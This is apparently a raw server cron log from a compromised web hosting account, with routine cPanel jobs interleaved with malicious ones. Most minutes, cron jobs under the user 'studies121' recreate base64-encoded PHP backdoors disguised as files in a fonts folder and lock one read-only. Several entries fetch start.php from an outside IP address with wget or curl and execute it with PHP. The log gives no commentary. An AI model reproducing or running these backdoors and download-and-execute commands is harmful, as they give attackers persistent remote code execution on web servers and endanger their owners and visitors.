Sep 11 11:47:01 ip-184-168-122-23 CROND[27978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:47:01 ip-184-168-122-23 CROND[27979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:47:01 ip-184-168-122-23 CROND[27981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:47:01 ip-184-168-122-23 CROND[27982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:48:01 ip-184-168-122-23 CROND[28090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:48:01 ip-184-168-122-23 CROND[28092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:48:01 ip-184-168-122-23 CROND[28093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:48:01 ip-184-168-122-23 CROND[28094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:48:01 ip-184-168-122-23 CROND[28095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:49:01 ip-184-168-122-23 CROND[28202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:49:01 ip-184-168-122-23 CROND[28203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:49:01 ip-184-168-122-23 CROND[28205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:49:01 ip-184-168-122-23 CROND[28206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:50:01 ip-184-168-122-23 CROND[28394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28396]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:50:01 ip-184-168-122-23 CROND[28400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28398]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:50:01 ip-184-168-122-23 CROND[28404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:51:01 ip-184-168-122-23 CROND[28514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:51:01 ip-184-168-122-23 CROND[28516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:51:01 ip-184-168-122-23 CROND[28517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:51:01 ip-184-168-122-23 CROND[28518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:52:01 ip-184-168-122-23 CROND[28613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:52:01 ip-184-168-122-23 CROND[28617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:52:01 ip-184-168-122-23 CROND[28615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:52:01 ip-184-168-122-23 CROND[28616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:52:01 ip-184-168-122-23 CROND[28618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:53:01 ip-184-168-122-23 CROND[28739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:53:01 ip-184-168-122-23 CROND[28741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:53:01 ip-184-168-122-23 CROND[28742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:53:01 ip-184-168-122-23 CROND[28743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:54:01 ip-184-168-122-23 CROND[28833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:54:01 ip-184-168-122-23 CROND[28835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:54:01 ip-184-168-122-23 CROND[28836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:54:01 ip-184-168-122-23 CROND[28838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:54:01 ip-184-168-122-23 CROND[28840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:55:01 ip-184-168-122-23 CROND[28972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:55:01 ip-184-168-122-23 CROND[28976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:55:01 ip-184-168-122-23 CROND[28977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:55:01 ip-184-168-122-23 CROND[28975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:55:01 ip-184-168-122-23 CROND[28978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:55:01 ip-184-168-122-23 CROND[28980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:56:01 ip-184-168-122-23 CROND[29180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:56:01 ip-184-168-122-23 CROND[29182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:56:01 ip-184-168-122-23 CROND[29184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:56:01 ip-184-168-122-23 CROND[29183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:56:01 ip-184-168-122-23 CROND[29185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:57:01 ip-184-168-122-23 CROND[29277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:57:01 ip-184-168-122-23 CROND[29278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:57:01 ip-184-168-122-23 CROND[29280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:57:01 ip-184-168-122-23 CROND[29281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:58:01 ip-184-168-122-23 CROND[29406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:58:01 ip-184-168-122-23 CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:58:01 ip-184-168-122-23 CROND[29408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:58:01 ip-184-168-122-23 CROND[29410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:58:01 ip-184-168-122-23 CROND[29411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:59:01 ip-184-168-122-23 CROND[29492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
